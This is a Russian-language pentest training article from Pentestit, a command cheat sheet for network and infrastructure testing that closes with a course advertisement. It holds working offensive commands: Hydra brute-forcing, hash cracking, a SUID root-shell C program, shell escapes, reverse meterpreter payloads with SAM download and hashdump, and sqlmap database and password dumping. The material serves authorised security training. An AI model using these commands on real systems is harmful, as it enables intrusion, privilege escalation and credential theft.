Корпоративные лаборатории Pentestit: разбор кейсов при проведении тестирования на проникновение

    image

    Корпоративные лаборатории Pentestit — уникальные по своему формату и содержанию курсы практической ИБ-подготовки, разработанные на основе лучших практик тестирования на проникновение и анализа защищенности, по уровню содержания сравнимые с материалами хакерских конференций. Вне зависимости от программ обучения, их ключевыми особенностями являются актуальный материал и практическая подготовка в пентест-лабораториях, составляющая 80% от общей программы курса. В данной статье мы продолжим разбирать базис команд и полезных трюков при проведении тестирования на проникновение.


    Справочник пентестера часть 2


    Данный справочник представляет собой список команд, которые могут вам понадобиться при проведении тестирования на проникновение. Данный справочник разработан таким образом, что не предоставляет развернутого описания команд, а лишь приводит рабочие примеры. Для более подробной информации о команде или утилите мы рекомендуем изучить ее man страницу или посетить официальный сайт.


    Данный справочник в большей степени затрагивает тестирование сети и инфраструктуры. Тестирование веб-приложений не рассматривается в данном справочнике, за исключением нескольких примеров с sqlmap в конце данного пособия. Первая часть справочника.


    Поиск эксплойтов для обнаруженных сервисов


    Поиск на exploit-db через searchsploit, в данном примере поиск повышения привилегий для windows 2003:


    searchsploit windows 2003 | grep -i local

    Использование google для поиска на сайте exploit-db.com:


    site:exploit-db.com exploit kernel <= 3

    Ищите подходящие модули метасплоит с помощью grep. Стандартный поиск при помощи search в msf работает хуже:


    grep -R "W7" /usr/share/metasploit-framework/modules/exploit/windows/*

    Установите локальную копию базы exploit-db:


    searchsploit –u
     searchsploit apache 2.2
     searchsploit "Linux Kernel"
     searchsploit linux 2.6 | grep -i ubuntu | grep local

    Компиляция эксплойтов для Windows в Kali:


    wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
    wine mingw-get-setup.exe
    select mingw32-base
    cd /root/.wine/drive_c/windows
    wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
    cd /root/.wine/drive_c/MinGW/bin
    wine gcc -o ability.exe /tmp/exploit.c -lwsock32
    wine ability.exe  

    Компиляция для архитекруты x32 и x64:


    gcc -m32 -o output32 hello.c (32 bit)
    gcc -m64 -o output hello.c (64 bit)

    Запуск простого локального веб-сервера


    Полезно использовать для доставки эксплойтов и программ на целевую машину. Запуск простого http веб-сервера на Python:


    python -m SimpleHTTPServer 80

    Запуск простого веб-сервера на Python3:


    python3 -m http.server

    Запуск простого Ruby webrick http сервера:


    ruby -rwebrick -e "WEBrick::HTTPServer.new (:Port => 80, :DocumentRoot => Dir.pwd).start"

    Запуск простого PHP http сервера:


    php -S 0.0.0.0:80

    Монтирование файловых ресурсов


    Монтирование NFS ресурса в /mnt/nfs:


    mount 192.168.1.1:/vol/share /mnt/nfs

    Монтирование Windows CIFS / SMB ресурса на Linux в/mnt/cifs Если вы удалите password то о нем спросят в консоли (более безопасный вариант, т.к. не запишется в bash.history):


    mount -t cifs -o username=user,password=pass,domain=bla //192.168.1.X/share-name /mnt/cifs

    Монтирование Windows ресурса на Windows из командной строки:


    net use Z: \\win-server\share password  /user:domain\johndoe /savecred /p:no

    Установка smb4k на Kali, полезный Linux GUI для просмотра SMB ресурсов:


    apt-get install smb4k -y

    Исследование HTTP / HTTPS Веб-серверов


    Выполнить nikto сканирование:


    nikto -h 192.168.1.1

    Конфигурируется через GUI, CLI ввод обычно не работает:


    dirbuster

    Простой брутфорсер директорий:


    dirb http://example.org

    Продвинутый брутфорсер директорий и файлов. Поиск файлов с расширением php и js по старнадртному словарю:


    dirsearch.py --random-agents -u example.org -e php,js

    Анализ сетевых пакетов


    tcpdump для порта 80 на интерфейсе eth0, вывод в output.pcap:


    tcpdump tcp port 80 -w output.pcap -i eth0

    Обнаружение учетных данных


    Несколько техник, позволяющих узнать учетные данных от удаленных сервисов.


    SMB


    Сбор пользователей SMB:


    python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX

    RID cycle SMB / сбор пользователей SMB


    ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

    SNMP


    Сбор пользователей SNMP:


    snmpwalk public -v1 192.168.X.XXX 1 |grep 11.11.11.11 |cut -d” “ -f4
    python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX
    nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt

    Брутфорс сетевых сервисов


    Hydra FTP брутфорс


    hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V

    Hydra POP3 брутфорс


    hydra -L users.txt -P /usr/share/wordlistsnmap.lst 192.168.X.XXX pop3 -V

    Hydra SMTP брутфорс


    hydra -l user@example.com -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V

    Брутфорс паролей John The Ripper


    Взлом хэша со словарем


    john --wordlist=/usr/share/wordlists/rockyou.txt hashes

    MD5 взлом со словарем


    john --format=MD5 --wordlist  /usr/share/wordlists/rockyou.txt hash.txt

    DES брутфорс


    john --format=DES hash --show

    SUID


    Часто бывает так, что уязвимый исполняемый файл имеет SUID бит, но внутри самой программы эффективный UID меняется на непривилегированный перед уязвимым вызовом, а нам нужно получить шелл с правами суперпользователя. Для восстановления прав root и получения шелла можно воспользоваться кодом ниже.


    SUID Си шелл для /bin/bash:


    int main(void){
           setresuid(0, 0, 0);
           system("/bin/bash");
    } 

    SUID Си шелл для /bin/sh:


    int main(void){
           setresuid(0, 0, 0);
           system("/bin/sh");
    }

    Компиляция SUID Шелл исполняемого файла:


    gcc -o suid suid.c

    Для 32 бит:


    gcc -m32 -o suid suid.c 

    TTY шеллы


    Примеры создания TTY шеллов из ограниченного шелла в Linux, полезно для запуска команд вроде su из реверс шелла. Python TTY шелл:


    python -c 'import pty;pty.spawn("/bin/bash")'
    echo os.system('/bin/bash')

    Получение интерактивного sh шелла:


    /bin/sh -i

    Получение Perl TTY шелла:


    exec "/bin/sh";
    perl -e 'exec "/bin/sh";'

    Получение Ruby TTY шелла:


    exec "/bin/sh"

    Получение Lua TTY шелла:


    os.execute('/bin/sh')

    Получение TTY шелла из Vi:


    :!bash

    Получение TTY шелла через NMAP (старые версии)


    nmap --interactive
    !sh

    Metasploit/Meterpreter


    Windows reverse meterpreter payload с обратным подключением:


    set payload windows/meterpreter/reverse_tcp

    Windows VNC Meterpreter payload


    set payload windows/vncinject/reverse_tcp
    set ViewOnly false

    Linux Reverse Meterpreter payload с обратным подключением


    set payload linux/meterpreter/reverse_tcp

    Meterpreter Справочник


    Загрузить файл на windows машину через Meterpreter:


    upload file c:\\windows

    Выгрузить файл с целевой Windows машины через Meterpreter:


    download c:\\windows\\repair\\sam /tmp

    Выполнить exe файл через Meterpreter — Идеально для выполнения загруженных эксплойтов:


    execute -f c:\\windows\temp\exploit.exe

    Создание нового канала с cmd шеллом:


    execute -f cmd -c

    Meterpreter покажет процессы:


    ps

    Meterpreter получит шелл для текущей сессии:


    shell

    Meterpreter попытается повысить привилегии в системе:


    getsystem

    Meterpreter попытается получить хэши пользователей ОС:


    hashdump

    Meterpreter создает перенаправление порта через целевую машину (pivoting):


    portfwd add –l 3389 –p 3389 –r target_host

    Meterpreter удаляет перенаправление порта (pivoting):


    portfwd delete –l 3389 –p 3389 –r target_host

    SQLMap примеры


    Автоматический режим:


    sqlmap -u http://site --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3

    Целевое сканирование:


    Sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE  --level=3 --current-user --current-db --passwords --file-read="/var/www/bla.php" 

    Просканировать url на union + error based инъекции для mysql и использовать случайный user agent + получить dump базы данных:


    sqlmap -u "http://site/bla.php?id=1" --dbms=mysql --tech=U --random-agent --dump

    Sqlmap проверка формы на инъекцию:


    sqlmap -o -u "http://site/form/" --forms

    Sqlmap дамп базы и взлом хэшей для таблицы users базы database-name:


    sqlmap -o -u "http://site/vuln-form" --forms -D database-name -T users --dump

    Определение типа хешей


    Удобнее всего использовать утилиту hash-identifier, но для наглядности представлю несколько типов хешей визуально:


    MD5 Hash:


    8743b52063cd84097a65d1633f5c74f5

    MD5 $PASS:$SALT:


    01dfae6e5d4d90d9892622325959afbe:7050461

    MD5 $SALT:$PASS:


    f0fda58630310a6dd91a7d8f0a4ceda2:4225637426

    SHA1 Hash:


    b89eaac7e61417341b710b727768294d0e6a277b

    SHA1 $PASS:$SALT:


    2fc5a684737ce1bf7b3b239df432416e0dd07357:2014

    SHA1 $SALT:$PASS:


    cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024

    SHA-256:


    127e6fbfe24a750e72930c220a8e138275656b8e5d8f48a98c3c92df2caba935

    SHA-256 $PASS:$SALT:


    c73d08de890479518ed60cf670d17faa26a4a71f995c1dcc978165399401a6c4

    SHA-256 $SALT:$PASS:


    eb368a2dfd38b405f014118c7d9747fcc97f4f0ee75c05963cd9da6ee65ef498:560407001617

    SHA-512:


    82a9dda829eb7f8ffe9fbe49e45d47d2dad9664fbb7adf72492e3c81ebd3e29134d9bc12212bf83c6840f10e8246b9db54a4859b7ccd0123d86e5872c1e5082f

    SHA-512 $PASS:$SALT:


    e5c3ede3e49fb86592fb03f471c35ba13e8d89b8ab65142c9a8fdafb635fa2223c24e5558fd9313e8995019dcbec1fb584146b7bb12685c7765fc8c0d51379fd

    SHA-512 $SALT:$PASS:


    976b451818634a1e2acba682da3fd6efa72adf8a7a08d7939550c244b237c72c7d42367544e826c0c83fe5c02f97c0373b6b1386cc794bf0d21d2df01bb9c08a

    NTLM:


    b4b9b02e6f09a9bd760f388b67351e2b

    Заключение


    Чтобы успешно противостоять злоумышленникам, необходимо хорошо знать методику и инструменты работы, что крайне сложно, учитывая их стремительное развитие. Программа курса обновляется каждый набор, что позволяет давать актуальные и востребованные знания и практические навыки в области информационной безопасности.


    Уникальность программы курса в подаче и закреплении материала — 20% теории и 80% практики. Постоянно обновляя методический материал и добавляя практические задания мы стараемся дать наиболее полный объем информации для того чтобы участники курса получили исчерпывающую информацию о современных угрозах и методах противодействия, открыли новые вектора развития в области практической информационной безопасности.


    Ознакомиться с программой курса.

    Pentestit 56,67
    Информационная безопасность
    Поделиться публикацией
    Комментарии 0

    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

    Самое читаемое
    Интересные публикации